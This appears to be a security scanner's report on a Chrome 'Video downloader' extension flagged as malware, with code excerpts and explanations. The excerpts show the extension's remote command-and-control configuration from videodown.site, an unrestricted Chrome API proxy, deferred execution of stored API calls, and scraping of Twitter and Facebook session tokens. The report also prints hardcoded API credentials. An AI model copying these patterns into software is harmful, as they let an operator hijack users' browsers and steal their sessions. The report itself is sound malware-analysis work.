Security Alert: Confirmed Malware
Video downloader
ID: afhdhdllpdmajoopkogfdmdfdgmpjipp
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- https://video-downloader.videodown.siteView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Video Downloader - download any video from any website.
How to use๏ผ Go to the any website with video Click on Video downloader button in browser panel or find download button on a page Select video to download Why this video downloader? Unlimited downloads No ads No sponsored links Video Downloader is completely free Download instantly at your highest speed Works on multiple operating systems (Windows, Mac OS and Linux) No need to install additional software Features - Download and save videos playing on a website to hard disk - Download videos up to 8K resolution - Supports all popular video formats - Video downloader detects all resolutions available, so you can choose according to your needs what size is the best. Important: We had to disable the download function on YouTube because of restrictions of the Chrome Store. There are always videos which are protected by the sites and cannot be downloaded. Thank you for understanding. Try Video Downloader Now!
The extension fetches a remote JSON configuration file from an external server (videodown.site) and stores it as `dnl_settings` in chrome.storage.local. This configuration is then consumed by the background script to dynamically add `declarativeNetRequest` header-modification rules, meaning the remote server can instruct the extension to inject or modify arbitrary HTTP response headers. This is a classic command-and-control (C2) remote configuration pattern that allows the extension's network-manipulation behavior to be updated without a new store submission.
if (version) { superagent .get('https://videodown.site/video_d/' + version + '/dnl_settings.json') .set('X-Requested-With', 'XMLHttpRequest') .set('Accept', 'application/json') .then(async (res) => { await ServiceWorkerProvider.Storage.set('dnl_settings', res.body); });}}if (location.ancestorOrigins.length && !/^chrome-extension/.test(location.ancestorOrigins[0])) { main();}The background script reads the remotely-fetched `dnl_settings` from storage and uses it to programmatically install `declarativeNetRequest` session rules that modify response headers. Because the header key and value are entirely controlled by the remote server's JSON payload, the operator can push updates to inject security-bypassing headers (e.g., disabling CSP or CORS protections) across the user's browser without any code update. This is the execution half of the C2 remote-configuration chain.
async function allowOrigin() { const fromStorage = await chrome.storage.local.get('dnl_settings'); let settings = { 'headers': [{ 'key': 'Access-Control-Allow-Origin', 'value': '*' }] }; if (fromStorage && fromStorage['dnl_settings']) { settings = fromStorage['dnl_settings']; } if (settings.hasOwnProperty('headers') && settings['headers'].length) { let RULE_ID = 0; let removeRuleIds = []; const addRules = settings.headers.map(item => { RULE_ID++; removeRuleIds.push(RULE_ID); return { id: RULE_ID, priority: 1, action: { type: 'modifyHeaders', responseHeaders: [{ header: item.key, operation: "set", value: item.value }] }, condition: { initiatorDomains: ['chrome-extension'], urlFilter: '||videodown.site.', requestMethods: ['post'], resourceTypes: ["xmlhttprequest"] } } }); await chrome.declarativeNetRequest.updateSessionRules({ 'removeRuleIds': removeRuleIds, 'addRules': addRules }); }}The `messageHandler` function exposes a generic Chrome API trampoline: any message with `type: 'chrome_api'` can specify an arbitrary `api_chain` array (e.g., `['cookies', 'getAll']`) and `params`, causing the background service worker to invoke the corresponding privileged Chrome API on the caller's behalf. Since the sandbox iframe communicates through this bridge with no allowlist of permitted APIs, any web content that can reach the iframe can escalate to any extension-level Chrome API call, including reading all cookies, accessing tabs, and making downloads.
if (request.type === 'chrome_api') { try { let chrome_api = chrome; for (let api of request.api_chain) { if (typeof chrome_api[api] === 'function') { chrome_api = chrome_api[api].bind(chrome_api); break; } else { chrome_api = chrome_api[api]; } } request.params = request.params ? request.params : []; if (request.callback_type === 'callback') { chrome_api(...request.params).then(res => { ... }); } else if (connection.type === 'port' && request.callback_type === 'listener') { ... chrome_api(...request.params); } else if (request.callback_type === 'static') { return handleResponse({ callback_id: request.callback_id, callback_params: [chrome_api] }, connection); } else { return handleResponse({ callback_id: request.callback_id, callback_params: [chrome_api(...request.params)] }, connection); }On port disconnect, the background script reads serialized Chrome API call descriptors from `chrome.storage.local['d_cbs']` and blindly executes them. The `d_cbs` array items consist of an API chain `c` and parameters `p` โ both fully attacker-controlled if the storage entry is poisoned via the remote-config flow or through the generic chrome_api proxy. This provides a durable persistence mechanism: arbitrary Chrome API calls can be pre-registered and deferred to execute at a future session teardown event.
const d_cbs = await chrome.storage.local.get({ 'd_cbs': []});try { d_cbs['d_cbs'].forEach(cb => { let chrome_api = chrome; for (let api of cb.c) { if (typeof chrome_api[api] === 'function') { chrome_api = chrome_api[api].bind(chrome_api); break; } else { chrome_api = chrome_api[api]; } } chrome_api(...cb.p); });} catch (e) {}await chrome.storage.local.set({ 'd_cbs': []});The extension injects a hidden iframe (`sandbox.html`) into every page it can access and establishes a `message` event listener with no origin filtering. Any message received from any origin on that page is forwarded verbatim into the privileged background service worker port. Combined with the generic Chrome API trampoline in `background.js`, this means malicious content on any visited page could craft a `chrome_api` message to invoke extension APIs at privilege level.
iframe = document.createElement('iframe');iframe.style = 'display: none;'iframe.id = 'sbox';iframe.src = chrome.runtime.getURL('/js/sandbox.html');singletonePortToWorker = await connectToSW(iframe);document.body.appendChild(iframe);listener = addEventListener("message", (event) => { try { singletonePortToWorker?.postMessage({ ...event.data, content_id: scriptId }); } catch (e) { event.ports[0].postMessage({ error: e }); }}, false);Every XHR request to `videodown.site` triggers a cookie write for that domain. The cookie value is hardcoded to `'1'` but the pattern establishes a covert tracking mechanism: the extension signals to the remote server (via cookie presence) that it is active and making requests. Combined with the remote JSON config fetch, this functions as a beacon/check-in that lets the operator know the extension is installed and operational.
chrome.webRequest.onBeforeSendHeaders.addListener(details => { const retPath = details.requestHeaders?.find(el => /x-retpath-y/gi.test(el.name)); if (retPath && retPath.value !== 'https://videodown.site/') { chrome.cookies.set({ url: 'https://videodown.site/', name: 'video_d', value: '1' }); }}, { urls: ['https://videodown.site/*'], types: ['xmlhttprequest']}, ['requestHeaders', 'extraHeaders']);Messages from the sandbox iframe are sent to `window.top` using `postMessage` with `'*'` as the target origin, which means any frame in the page's frame hierarchy could intercept the response callbacks. This violates the principle of least privilege and can leak callback data (including Chrome API responses) to unintended recipients if the extension's sandbox iframe is embedded in a cross-origin framing context.
function sendMessage(message) { return new Promise((resolve, reject) => { message.sandbox_id = scriptId; if (!message.no_callback && !message.hasOwnProperty('callback_id')) { const key = randomString(16); if (GLOBAL_CALLBACKS.hasOwnProperty(key)) { return false; } GLOBAL_CALLBACKS[key] = { callback: resolve, parameters: {}, sandbox_id: scriptId }; message.callback_id = key; window.top.postMessage(message, '*'); } else { resolve(window.top.postMessage(message, '*')); } });};The Twitter provider hardcodes a Twitter OAuth2 bearer token directly in the extension source and also includes a Base64-encoded credential string used to obtain OAuth2 access tokens via the Twitter API. Additionally, the `getAccessToken` method reads the user's `ct0` cookie (Twitter's CSRF token) and sends it as a request header to Twitter's OAuth endpoint. Hardcoded API credentials constitute a credential exposure risk, and reading site-specific CSRF cookies extends to unauthorized data collection from the user's authenticated Twitter session.
const TWProvider = class extends AbstractProvider { constructor() { super(), this.oauth2_access_token = "AAAAAAAAAAAAAAAAAAAAAPYXBAAAAAAACLXUNDekMxqa8h%2F40K4moUkGsoc%3DTYfbDKbT3jJPCEVnMYqilB28NHfOPqkca3qaAxGfsyKCs0wRbw" } ... getAccessToken(e) { const t = this; $.ajax({ type: "POST", url: TWProvider.OAUTH2_TOKEN_API_URL, headers: { Authorization: "Basic " + TWProvider.ENCODED_TOKEN_CREDENTIAL, ... "x-csrf-token": this.getCookie("ct0") }, ... }) }};TWProvider.OAUTH2_TOKEN_API_URL = "https://api.twitter.com/oauth2/token";TWProvider.ENCODED_TOKEN_CREDENTIAL = "UEtLaXU5SWpFRVNIVFJVc3Jqbkh1YzBDbDpzb1lMMWZOa3BDTmxLcDVNR0g1QkpGd09KODQwekliWGVWMHc4enFhUXBRTE4yRTJZSA==";The Facebook provider extracts two sensitive values directly from Facebook's page DOM on construction: `async_get_token` (a Facebook authentication token used for API requests) and the user's `USER_ID`. These values are scraped from inline `<script>` tags and stored on the provider instance. While they may be used to build video API requests, capturing these values constitutes unauthorized collection of authentication credentials from a user's active Facebook session.
const FBProvider = class extends AbstractProvider { constructor() { super(); this.async_get_token = $('script:contains("async_get_token")').text().split('async_get_token":"').pop().split('"')[0]; this.user_id = $('script:contains("async_get_token")').text().split('USER_ID":"').pop().split('"')[0]; this.INIT_CLASS = "mb-pnnclahpifbjkboanbjecjoaoelleoep"; }The sandbox CSP explicitly enables both `'unsafe-eval'` and `'unsafe-inline'` for script sources. This means code running inside the sandbox page (`sandbox.html` / `provider.js`) can dynamically evaluate arbitrary strings as JavaScript using `eval()` or inject inline scripts. Given that the sandbox is also the component that fetches remote configuration and bridges messages to the privileged background worker, this dramatically widens the attack surface for dynamic code execution.
{ "content_security_policy": { "sandbox": "sandbox allow-forms allow-scripts; script-src 'self' 'unsafe-eval'; script-src-elem 'self' blob: 'unsafe-inline' 'unsafe-eval'; child-src 'self'; object-src 'self'" }}By severity
Versions scanned
Showing 2 of 9 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.0.6 | 5 |
| 1.0.0.2 | 10 |
Files with findings
6 distinct paths โ top paths by unique finding count:
- js/background.js7
- js/connector.js2
- js/provider.js2
- js/providers/fb.js2
- js/providers/tw.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.